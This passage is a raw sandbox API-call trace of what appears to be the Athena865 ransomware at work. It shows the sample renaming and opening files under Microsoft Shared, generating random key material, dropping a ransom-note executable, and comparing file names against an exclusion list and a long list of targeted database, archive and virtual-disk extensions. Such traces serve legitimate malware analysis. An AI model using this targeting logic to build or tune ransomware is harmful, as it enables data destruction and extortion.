(in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.Athena865") returned 78 [0116.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.athena865"), dwFlags=0x1) returned 1 [0116.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.344] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174440) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.345] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.345] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.346] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ac70, lpName=0x0) returned 0x154 [0116.360] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ac70) returned 0x170000 [0116.376] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.377] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.377] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.377] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0116.379] CloseHandle (hObject=0x154) returned 1 [0116.379] CloseHandle (hObject=0x17c) returned 1 [0116.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.380] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0116.380] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0116.380] ReleaseMutex (hMutex=0xec) returned 1 [0116.380] CloseHandle (hObject=0xec) returned 1 [0116.380] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" [0116.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5029a8 | out: hHeap=0x4f0000) returned 1 [0116.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ae40 | out: hHeap=0x4f0000) returned 1 [0116.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery") returned 57 [0116.380] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C79829F069C038D746C2014C77789C23") returned 0xec [0116.380] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0116.380] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" [0116.381] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0116.381] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 0 [0116.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0116.381] GetLastError () returned 0x0 [0116.381] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0116.381] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0116.381] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0116.382] CloseHandle (hObject=0xf4) returned 1 [0116.382] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.382] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0116.382] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0b4380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0116.383] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.383] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.383] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0116.383] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0b4380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.383] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.384] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.384] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0116.384] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0116.384] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2=".") returned 1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="..") returned 1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="windows") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="bootmgr") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="temp") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="pagefile.sys") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="boot") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="ids.txt") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="ntuser.dat") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="perflogs") returned -1 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2="MSBuild") returned -1 [0116.384] lstrlenW (lpString="Bears.htm") returned 9 [0116.384] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Bears.htm" | out: lpString1="Bears.htm") returned="Bears.htm" [0116.384] lstrlenW (lpString="Bears.htm") returned 9 [0116.384] lstrlenW (lpString="Athena865") returned 9 [0116.384] lstrlenW (lpString=".dll") returned 4 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2=".dll") returned 1 [0116.384] lstrlenW (lpString=".lnk") returned 4 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2=".lnk") returned 1 [0116.384] lstrlenW (lpString=".ini") returned 4 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2=".ini") returned 1 [0116.384] lstrlenW (lpString=".sys") returned 4 [0116.384] lstrcmpiW (lpString1="Bears.htm", lpString2=".sys") returned 1 [0116.385] lstrlenW (lpString="Bears.htm") returned 9 [0116.385] lstrlenW (lpString="bak") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0116.385] lstrlenW (lpString="ba_") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0116.385] lstrlenW (lpString="dbb") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0116.385] lstrlenW (lpString="vmdk") returned 4 [0116.385] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0116.385] lstrlenW (lpString="rar") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0116.385] lstrlenW (lpString="zip") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0116.385] lstrlenW (lpString="tgz") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0116.385] lstrlenW (lpString="vbox") returned 4 [0116.385] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0116.385] lstrlenW (lpString="vdi") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0116.385] lstrlenW (lpString="vhd") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0116.385] lstrlenW (lpString="vhdx") returned 4 [0116.385] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0116.385] lstrlenW (lpString="avhd") returned 4 [0116.385] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0116.385] lstrlenW (lpString="db") returned 2 [0116.385] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0116.385] lstrlenW (lpString="db2") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0116.385] lstrlenW (lpString="db3") returned 3 [0116.385] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0116.385] lstrlenW (lpString="dbf") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0116.386] lstrlenW (lpString="mdf") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0116.386] lstrlenW (lpString="mdb") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0116.386] lstrlenW (lpString="sql") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0116.386] lstrlenW (lpString="sqlite") returned 6 [0116.386] lstrcmpiW (lpString1="rs.htm", lpString2="sqlite") returned -1 [0116.386] lstrlenW (lpString="sqlite3") returned 7 [0116.386] lstrcmpiW (lpString1="ars.htm", lpString2="sqlite3") returned -1 [0116.386] lstrlenW (lpString="sqlitedb") returned 8 [0116.386] lstrcmpiW (lpString1="ears.htm", lpString2="sqlitedb") returned -1 [0116.386] lstrlenW (lpString="xml") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0116.386] lstrlenW (lpString="$er") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0116.386] lstrlenW (lpString="4dd") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0116.386] lstrlenW (lpString="4dl") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0116.386] lstrlenW (lpString="^^^") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0116.386] lstrlenW (lpString="abs") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0116.386] lstrlenW (lpString="abx") returned 3 [0116.386] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0116.386] lstrlenW (lpString="accdb") returned 5 [0116.386] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1 [0116.386] lstrlenW (lpString="accdc") returned 5 [0116.387] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1 [0116.387] lstrlenW (lpString="accde") returned 5 [0116.387] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1 [0116.387] lstrlenW (lpString="accdr") returned 5 [0116.387] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1 [0116.387] lstrlenW (lpString="accdt") returned 5 [0116.387] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1 [0116.387] lstrlenW (lpString="accdw") returned 5 [0116.387] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1 [0116.387] lstrlenW (lpString="accft") returned 5 [0116.387] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1 [0116.387] lstrlenW (lpString="adb") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0116.387] lstrlenW (lpString="adb") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0116.387] lstrlenW (lpString="ade") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0116.387] lstrlenW (lpString="adf") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0116.387] lstrlenW (lpString="adn") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0116.387] lstrlenW (lpString="adp") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0116.387] lstrlenW (lpString="alf") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0116.387] lstrlenW (lpString="ask") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0116.387] lstrlenW (lpString="btr") returned 3 [0116.387] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0116.387] lstrlenW (lpString="cat") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0116.388] lstrlenW (lpString="cdb") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0116.388] lstrlenW (lpString="ckp") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0116.388] lstrlenW (lpString="cma") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0116.388] lstrlenW (lpString="cpd") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0116.388] lstrlenW (lpString="dacpac") returned 6 [0116.388] lstrcmpiW (lpString1="rs.htm", lpString2="dacpac") returned 1 [0116.388] lstrlenW (lpString="dad") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0116.388] lstrlenW (lpString="dadiagrams") returned 10 [0116.388] lstrlenW (lpString="daschema") returned 8 [0116.388] lstrcmpiW (lpString1="ears.htm", lpString2="daschema") returned 1 [0116.388] lstrlenW (lpString="db-journal") returned 10 [0116.388] lstrlenW (lpString="db-shm") returned 6 [0116.388] lstrcmpiW (lpString1="rs.htm", lpString2="db-shm") returned 1 [0116.388] lstrlenW (lpString="db-wal") returned 6 [0116.388] lstrcmpiW (lpString1="rs.htm", lpString2="db-wal") returned 1 [0116.388] lstrlenW (lpString="dbc") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0116.388] lstrlenW (lpString="dbs") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0116.388] lstrlenW (lpString="dbt") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0116.388] lstrlenW (lpString="dbv") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0116.388] lstrlenW (lpString="dbx") returned 3 [0116.388] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0116.389] lstrlenW (lpString="dcb") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0116.389] lstrlenW (lpString="dct") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0116.389] lstrlenW (lpString="dcx") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0116.389] lstrlenW (lpString="ddl") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0116.389] lstrlenW (lpString="dlis") returned 4 [0116.389] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0116.389] lstrlenW (lpString="dp1") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0116.389] lstrlenW (lpString="dqy") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0116.389] lstrlenW (lpString="dsk") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0116.389] lstrlenW (lpString="dsn") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0116.389] lstrlenW (lpString="dtsx") returned 4 [0116.389] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0116.389] lstrlenW (lpString="dxl") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0116.389] lstrlenW (lpString="eco") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0116.389] lstrlenW (lpString="ecx") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0116.389] lstrlenW (lpString="edb") returned 3 [0116.389] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0116.389] lstrlenW (lpString="epim") returned 4 [0116.389] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0116.389] lstrlenW (lpString="fcd") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0116.390] lstrlenW (lpString="fdb") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0116.390] lstrlenW (lpString="fic") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0116.390] lstrlenW (lpString="flexolibrary") returned 12 [0116.390] lstrlenW (lpString="fm5") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0116.390] lstrlenW (lpString="fmp") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0116.390] lstrlenW (lpString="fmp12") returned 5 [0116.390] lstrcmpiW (lpString1="s.htm", lpString2="fmp12") returned 1 [0116.390] lstrlenW (lpString="fmpsl") returned 5 [0116.390] lstrcmpiW (lpString1="s.htm", lpString2="fmpsl") returned 1 [0116.390] lstrlenW (lpString="fol") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0116.390] lstrlenW (lpString="fp3") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0116.390] lstrlenW (lpString="fp4") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0116.390] lstrlenW (lpString="fp5") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0116.390] lstrlenW (lpString="fp7") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0116.390] lstrlenW (lpString="fpt") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0116.390] lstrlenW (lpString="frm") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0116.390] lstrlenW (lpString="gdb") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0116.390] lstrlenW (lpString="gdb") returned 3 [0116.390] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0116.391] lstrlenW (lpString="grdb") returned 4 [0116.391] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0116.391] lstrlenW (lpString="gwi") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0116.391] lstrlenW (lpString="hdb") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0116.391] lstrlenW (lpString="his") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0116.391] lstrlenW (lpString="ib") returned 2 [0116.391] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0116.391] lstrlenW (lpString="idb") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0116.391] lstrlenW (lpString="ihx") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0116.391] lstrlenW (lpString="itdb") returned 4 [0116.391] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0116.391] lstrlenW (lpString="itw") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0116.391] lstrlenW (lpString="jet") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0116.391] lstrlenW (lpString="jtx") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0116.391] lstrlenW (lpString="kdb") returned 3 [0116.391] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0116.391] lstrlenW (lpString="kexi") returned 4 [0116.391] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0116.391] lstrlenW (lpString="kexic") returned 5 [0116.391] lstrcmpiW (lpString1="s.htm", lpString2="kexic") returned 1 [0116.391] lstrlenW (lpString="kexis") returned 5 [0116.391] lstrcmpiW (lpString1="s.htm", lpString2="kexis") returned 1 [0116.391] lstrlenW (lpString="lgc") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0116.392] lstrlenW (lpString="lwx") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0116.392] lstrlenW (lpString="maf") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0116.392] lstrlenW (lpString="maq") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0116.392] lstrlenW (lpString="mar") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0116.392] lstrlenW (lpString="marshal") returned 7 [0116.392] lstrcmpiW (lpString1="ars.htm", lpString2="marshal") returned -1 [0116.392] lstrlenW (lpString="mas") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0116.392] lstrlenW (lpString="mav") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0116.392] lstrlenW (lpString="maw") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0116.392] lstrlenW (lpString="mdbhtml") returned 7 [0116.392] lstrcmpiW (lpString1="ars.htm", lpString2="mdbhtml") returned -1 [0116.392] lstrlenW (lpString="mdn") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0116.392] lstrlenW (lpString="mdt") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0116.392] lstrlenW (lpString="mfd") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0116.392] lstrlenW (lpString="mpd") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0116.392] lstrlenW (lpString="mrg") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0116.392] lstrlenW (lpString="mud") returned 3 [0116.392] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0116.392] lstrlenW (lpString="mwb") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0116.393] lstrlenW (lpString="myd") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0116.393] lstrlenW (lpString="ndf") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0116.393] lstrlenW (lpString="nnt") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0116.393] lstrlenW (lpString="nrmlib") returned 6 [0116.393] lstrcmpiW (lpString1="rs.htm", lpString2="nrmlib") returned 1 [0116.393] lstrlenW (lpString="ns2") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0116.393] lstrlenW (lpString="ns3") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0116.393] lstrlenW (lpString="ns4") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0116.393] lstrlenW (lpString="nsf") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0116.393] lstrlenW (lpString="nv") returned 2 [0116.393] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0116.393] lstrlenW (lpString="nv2") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0116.393] lstrlenW (lpString="nwdb") returned 4 [0116.393] lstrcmpiW 